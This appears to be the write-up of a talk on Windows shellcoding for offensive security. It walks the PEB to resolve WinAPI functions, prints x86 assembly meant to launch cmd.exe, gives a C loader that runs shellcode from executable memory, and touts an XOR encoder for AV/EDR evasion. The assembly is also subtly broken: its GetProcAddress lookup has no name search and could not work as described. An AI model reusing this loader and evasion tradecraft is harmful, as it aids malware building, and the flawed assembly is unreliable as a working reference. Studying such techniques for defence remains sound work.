You Used To Call Me On My Shell Phone
Author: JAKESWIZ
A six-month security research effort to extend current shellcode and post-exploitation capabilities. Windows shellcoding has a slight learning curve, moderate difficulty, and horrific public documentation. This presentation aims to set a new standard for public Windows security research and stop gatekeeping knowledge.
Who Is This Talk For?
- Penetration testers
- Security researchers
- Anyone interested in offensive cyber security
Prerequisites
- Cybersecurity or development background
- Offensive/defensive security experience
- Strong willingness to learn
- Patience and curiosity
- Windows Development Environment
Key Learning Objectives
- Confidently craft Windows-based shellcode
- Intuitively understand shellcode
- Leverage knowledge within your offensive security toolkit
- "Swim" in the vast sea of shellcoding for enhanced exploit development
- Spark curiosity about low-level exploitation and malware development
What Is Shellcode?
Shellcode is a piece of machine code (often very small) written in Assembly that provides:
- Direct access to low-level instructions the CPU can run directly
- A small program ran after exploiting a software vulnerability
- Usually injected into memory
It can exist in numerous forms: byte array, C/C++ array, ASM code, Base64-encoded strings, etc.
What Can Shellcode Do?
- Execute a shell on the target system (reverse or bind shell)
- Open a backdoor
- Act as a "dropper" calling out to malicious C2
- Privilege escalation
- And much more
Windows vs. Linux Shellcode
| Windows | Linux |
|---|---|
| Different calling convention | Direct syscall interface |
| No usage of syscall numbers or "direct" syscalls | Relies on int 0x80 or syscall instructions |
| Relies on WinAPI (WinExec, CreateProcessA, LoadLibrary, GetProcAddress) | |
| API functions must be resolved at runtime | |
| Must locate DLLs in memory via PEB/TEB | |
| Parse associated export tables | |
| Shellcode is naturally larger | Shellcode is usually smaller |
PEB & TEB (Process Environment Block / Thread Environment Block)
PEB: Holds information of every individual process running in userland. Contains binary info, heap info, and more.
TEB: Responsible for holding information about the thread. TEBs point to the PEB.
Both are internal Windows data structures used by the OS and leveraged by malware/exploit developers. Understanding both is mandatory for Windows shellcoding.
Unlike Linux, we cannot rely on direct syscalls on Windows. Instead, we rely on leveraging the kernel API or WinAPI.
Shellcode on Windows works by:
- Reading PEB → LDR → InMemoryOrderModuleList
- Iterating through the linked list to find kernel32.dll
- Parsing the export table to find WinAPI functions (GetProcAddress, LoadLibraryA, etc.)
Dynamic WinAPI Function Address Resolution
High-level breakdown:
- Shellcode locates PEB
- Walks PEB to find kernel32.dll base address
- Parses PE headers → Locates Export Table
- Finds GetProcAddress()
- Resolves address of WinExec
- Calls WinExec("cmd.exe", 0)
Assembly representation (step-by-step):
; Find base address of kernel32.dll
xor ecx, ecx
mov eax, [fs:0x30] ; loading PEB in EAX
mov eax, [eax+0xc] ; EAX = PEB->Ldr
mov esi, [eax+0x14] ; EAX = Peb->Ldr.InMemOrderModuleList
lodsd ; EAX = second module (ntdll.dll)
xchg eax, esi ; swap
lodsd ; EAX = third module (kernel32.dll)
mov ebx, [eax+0x10] ; EBX = base address of kernel32.dll
; Find export table of kernel32.dll
mov edx, [ebx+0x3c] ; DOS->e_lfanew
add edx, ebx ; PE Header
mov edx, [edx+0x78] ; DataDirectory->VirtualAddress
add edx, ebx ; IMAGE_EXPORT_DIRECTORY
mov esi, [edx+0x20] ; AddressOfNames
add esi, ebx ; kernel32.dll AddressOfNames
; Find GetProcAddress
mov esi, [edx+0x24] ; AddressOfNameOrdinals
add esi, ebx
mov cx, [esi+ecx*2] ; CX = Number of Function
dec ecx
mov esi, [edx+0x1c] ; AddressOfFunctions
add esi, ebx
mov edx, [esi+ecx*4] ; EDX = Pointer (offset)
add edx, ebx ; EDX = Address of GetProcAddress
; Find WinExec
xor ecx, ecx
push ecx
push 0x00636578
push 0x456e6957
mov ecx, esp
push ecx
push ebx
call edx
Why MessageBoxA() Is a Solid Beginner Payload
- Simple API call with only four arguments (owner window, message, title, style)
- Confirms successful code execution visually
- Requires no complex setup or external communication
- Avoids overhead of spawning processes or handling strings externally
- Virtually no dependencies (part of user32.dll - loaded in almost any GUI application)
Common Pitfalls & Gotchas
Compatibility Issues (x86/x64)
- x86 target = x86 shellcode
- x64 target = x64 shellcode
- Different registers due to calling convention differences (stdcall for x86, fastcall for x64)
- Different data sizes lead to stack misalignment
Null Bytes (\x00) and Bad Characters
- Null bytes act as string terminators in C environments, truncating shellcode
- Bad characters disrupt shellcode through unintended interpretation, filtering, or encoding issues
NOP Sleds
- Create a safe "landing zone" for shellcode in memory
- Particularly useful in buffer overflows where memory address is unpredictable
- "Pads" memory and "absorbs" imprecision
Executing Shellcode in Memory via Loader
int main() {
unsigned char shellcode[] = "...";
PVOID pBuffer = VirtualAlloc(NULL, sizeof(shellcode)+1,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
memcpy(pBuffer, shellcode, sizeof(shellcode));
DWORD oldProtect = NULL;
VirtualProtect(pBuffer, sizeof(shellcode),
PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = CreateThread(NULL, 0, pBuffer, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0;
}
Perspective: C vs. Assembly
| C Programming | Assembly |
|---|---|
| Clear API usage | Requires dynamic resolvement of WinAPI functions |
| Very easy to understand | Must "walk" the PEB |
| Less control | Parse PE headers → Locate Export Table |
| Find GetProcAddress() | |
| Resolve address of WinExec | |
| Call WinExec("cmd.exe", 0) | |
| Confusing API usage, complex, more control |
Register Reference
Special Purpose Registers:
- EAX/RAX: Return values from WinAPI calls, stores temporary pointers
- EIP/RIP: Instruction pointer - important for position-independent shellcode
General Purpose Registers:
- EBX/RBX, ECX/RCX, EDX/RDX, ESI/RSI, EDI/RDI, ESP/RSP, EBP/RBP
- Store pointers for strings or shellcode data
- Walk TEB/PEB to find loaded modules via InMemOrderModuleList
- Save original stack or frame pointer for function calls
The JMP-CALL-POP Technique (Revolutionary)
The callpop-xor-encoder (GitHub: fukahi-na-tekio) solves Windows on ARM FPU emulation issues:
The Problem: Windows on ARM uses Prism emulation to run x86/x64 code. Traditional position-independent shellcode hunting techniques break.
The Solution:
1. JMP to skip ahead
2. CALL to push the address of the next instruction (where hidden payload starts) onto the stack
3. POP to pull that address out and store it
4. XOR decoder loop unscrambles the payload byte-by-byte
5. Jump to decoded shellcode
Why it's revolutionary:
- Universal decoder working on both x86 and ARM Windows
- Built-in AV/EDR bypass (not flagged like standard encoders)
- Single payload, two architectures
Resources
- GitHub: 0xXyc / fukahi-na-tekio - Encoder + decoder stub
- Hacking Methodology: Windows Shellcoding In-Depth
- Vulnserver - For practicing exploitation
- Undocumented Structures Guide
- Executing Shellcode in Memory
- JAKESWIZ YouTube
- JAKESWIZ GitHub
⛧ Malware Bless ⛧
"They're always watching, so we watch back. Expect Us."